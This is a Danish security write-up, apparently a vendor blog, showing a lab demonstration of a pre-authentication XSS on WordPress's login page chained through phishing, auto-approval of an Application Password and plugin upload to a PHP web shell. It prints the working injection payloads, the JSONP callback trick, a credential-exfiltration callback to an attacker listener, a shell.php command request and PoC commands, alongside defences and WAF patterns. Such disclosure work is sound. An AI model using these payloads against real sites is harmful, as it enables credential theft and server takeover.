XSS2Shell: Fra nul til shell på WordPress

En praktisk gennemgang af en pre-autentificerings-XSS-kæde, der kan eskalere til fjernkodeudførelse på WordPress Core, demonstreret i et lokalt Docker-laboratorium.

Kun autoriseret testning.

Alt nedenfor blev kørt mod et lokalt laboratorium (WordPress 7.0.2 på localhos). Brug ikke disse teknikker mod systemer, du ikke ejer eller har udtrykkelig tilladelse til at teste.

Resumé

XSS2Shell er ikke en enkelt fejl — det er en syv-trins udnyttelseskæde, der starter med ét tegn (< efterfulgt af et mellemrum), der omgår to forskellige HTML-parsere på WordPress' login-side, og ender med PHP, der udføres på serveren som www-data.

Hvad gør det farligt:

  1. Trin 1 kræver nul godkendelse — alle kan udløse JavaScript på wp-login.php.
  2. Det ligger i WordPress Core — ikke et plugin; næsten alle understøttede installationer siden 2016 er berørt.
  3. Det bruger WordPress' egen kode — user-profile.js, REST JSONP, Application Passwords, plugin-upload — som gadgets.
  4. Fuld RCE er demonstreret og anerkendt af WordPress — selvom det kræver, at en indlogget administrator narres til ét klik.

Denne artikel gennemgår hvert trin med skærmbilleder fra vores lokale laboratorium.

Labmiljøet

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Ethvert WordPress-websted eksponerer /wp-login.php. Den side er indgangspunktet for hele kæden.

Trin 0: Parser-differentiale (rodårsag)

Når login mislykkes, gentager WordPress det indtastede brugernavn i en fejlmeddelelse. Brugernavnet passerer gennem to sanitizers, der er uenige om, hvad et "tag" er:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Payloaden bruger et mellemrum efter<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

På sårbar WordPress 7.0.2 overlever dette sanitering og bliver til live DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

På patchet WordPress 7.0.4 er den samme payload HTML-escaped i fejlmeddelelsen — ingen live elementer.

Denne fejl har eksisteret siden WordPress 4.7 (2016) og er blevet overset af års sikkerhedsaudits.

Trin 1: Pre-autentificerings-XSS (intet login påkrævet)

Injicerede DOM-noder matcher selektorer, som WordPresses egen user-profile.js leder efter på login-siden (indlæst til adgangsnulstillingsforløbet):

  1. .reset-pass-submit .wp-generate-pw klikkes automatisk ved sideindlæsning
  2. Klikket bobler op til #color-picker's delegerede handler
  3. Vagtcheck user_id === checkuser_id består, fordi begge er undefined
  4. jQuery POST'er til ajaxurl — men ajaxurl eksisterer ikke på login-siden…

Medmindre vi overskriver den:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elementet <area id=ajaxurl> bliver til window.ajaxurl. jQuery kalder .toString() → returnerer href. WordPress REST returnerer JSONP → jQuery globalEval() → alert()kører på WordPress-oprindelsen.

Stage 1 demo page
Stage 1 demo page

Indsend formularen (eller åbn demo/stage1-preauth-xss.html og klik på Kør trin 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Konsekvens på dette trin alene: credential-phishing på det rigtige domæne, session riding, same-origin API-kald — uden nogen form for autentificering.

Trin 2: Social manipulation — admin-klikket

Trin 2–7 kræver, at en indlogget administrator åbner en angriberkontrolleret side. Dette er den friktion, der holder CVSS under 10 — men det er realistisk ved målrettede angreb.

Administratoren kan modtage: "Din session er udløbet — klik her for at godkende igen."

Simulated phishing lure page
Simulated phishing lure page

Når der klikkes, gør angriberens side:

  1. Åbner et underordnet popup-vindue (about:blank)
  2. Omdirigerer hovedvinduet til WordPress's autorisationsside for Application Password
  3. Skriver en XSS-formular ind i det underordnede popup-vindue og indsender den automatisk til wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Trin 3: Same-Origin Method Execution (SOME) — automatisk godkendelse

Det underordnede vindues XSS-payload ændrer JSONP-callbacket fra alert til:

window.opener.approve.click

WordPress REST pakker svaret ind:

/**/window.opener.approve.click({...})

Kørselstiden løser window.opener (forældreside) → .approve (knappen #approve) → .click(). Knappen Godkend for Application Password klikkes automatisk — uden brugerinteraktion på den pågældende side.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Bemærk callback-URL'en på siden: legitimationsoplysninger vil blive sendt til http://127.0.0.1:9090/callback?...&password=[------].

Trin 4: Opfangning af applikationsadgangskode

WordPress opretter en ny applikationsadgangskode og omdirigerer til angriberens success_url med legitimationsoplysningerne i forespørgselsstrengen:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Angriberen har nu HTTP Basic auth-legitimationsoplysninger til WordPress REST API — fra adminens egen session, uden at admin har indtastet noget efter det første linkklik.

Trin 5: Publicering af angriberens kontrollerede side

Ved hjælp af den stjålne applikationsadgangskode sender angriberen en POST-anmodning til /wp-json/wp/v2/pages og publicerer en side med indlejret JavaScript. Administratorer har unfiltered_html-rettigheden — script-tags overlever.

Trin 6: Plugin-upload via adminsession

Angriberens JavaScript (der kører i adminbrugerens browser på den publicerede side):

  1. Henter /wp-admin/plugin-install.php?tab=upload for upload-nonce
  2. Sender en ondsindet ZIP-fil via POST til /wp-admin/update.php?action=upload-plugin
  3. WordPress udpakker den til wp-content/plugins/xss2shell/

Plugin'et behøver ikke at være aktiveret. PHP-filer i plugin-mappen er direkte tilgængelige via nettet.

Trin 7: Fjernudførelse af kode

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Svar:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Angriberen kan nu udføre vilkårlige kommandoer som webserverbrugeren — læse wp-config.php (databaselegitimationsoplysninger), dumpe databasen og bevæge sig lateralt.

Fuld PoC-terminaloutput:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Den fulde kæde i overblik

sequenceDiagram participant A as Angriberserver participant V as Ofrets browser participant W as WordPress 7.0.2 Note over V,W: Admin er logget ind V->>A: Åbner phishing-link (1 klik) A->>V: Angriberens HTML + underordnet popup V->>W: Hovedvindue → authorize-application.php V->>W: Underordnet vindue sender XSS-payload til wp-login.php W->>V: JSONP udfører window.opener.approve.click Note over V,W: Godkend-knap klikkes automatisk W->>A: Omdirigering med Application Password A->>W: REST API udgiver side (Basic auth) V->>W: Admin besøger siden → uploader plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Hvor farlig er den egentlig?

Hvad er garanteret (høj sikkerhed)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Hvad kræver yderligere betingelser (RCE-sti)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Alvorlighedskalibrering

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Konklusion: Dette er ikke en ormbar zero-click RCE som Log4Shell. Det er en dybt teknisk sårbarhed på kerneniveau, der berører ~43% af nettet, hvor:

  • Trin 1 alene er en alvorlig pre-auth XSS på login-siden
  • Den fulde kæde konverterer ét adminklik til serverkompromittering
  • Grundårsagen (parser-differentiering) gælder for enhver kodebase, der bruger flere HTML-parsere

WordPress's egen meddelelse angiver, at RCE kræver "betingelser uden for angriberens kontrol" og "vellykket social engineering." Det er korrekt — men den demonstrerede kæde gør disse betingelser opnåelige med et enkelt link.

Reproducér hele kæden lokalt

# 1. Start lab make up # 2. Aktivér Application Passwords på HTTP (kun lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-lytter python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I browseren: # a. Log ind som admin på http://localhost:9080/wp-login.php # b. Åbn http://127.0.0.1:9091/phishing-sim.html # c. Klik på "Åbn angriberside" (tillad popups) # d. Vent på terminaloutput med shell + whoami

Forsvar

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Rettelsen tilføjer esc_html() til brugernavnet i login-fejlstien — hvilket sikrer, at strengen behandles som tekst og ikke genfortolkes som HTML.

Hvorfor dette er relevant for sikkerhedsforskning

Hvert led i kæden er individuelt kedeligt:

  • Parser-differens → lav-alvorlighed vedligeholdelse
  • Forkert script indlæst på login-side → lav
  • JSONP-callback valideret af regex → mellem
  • Application Password i omdirigerings-URL → mellem
  • Plugin-mappe udfører PHP uden aktivering → kendt design

Samlet set er de CVSS 8,9 og en shell.

Læren: når du vurderer XSS-fund, så spørg "hvad er allerede indlæst på denne side, og hvad vil det gøre, hvis jeg giver det de rigtige DOM-noder?" Alvorlighed er en egenskab ved kæden, ikke den individuelle fejl.

Referencer

Spørg AI om CyberTested

Lad ChatGPT, Gemini, Grok eller Perplexity dele deres viden. Klik på en knap og se, hvad din foretrukne AI siger om CyberTested.

Vælg region og sprog

Region
Sprog
Vil du se CyberTested i praksis?
Bestil en gratis demo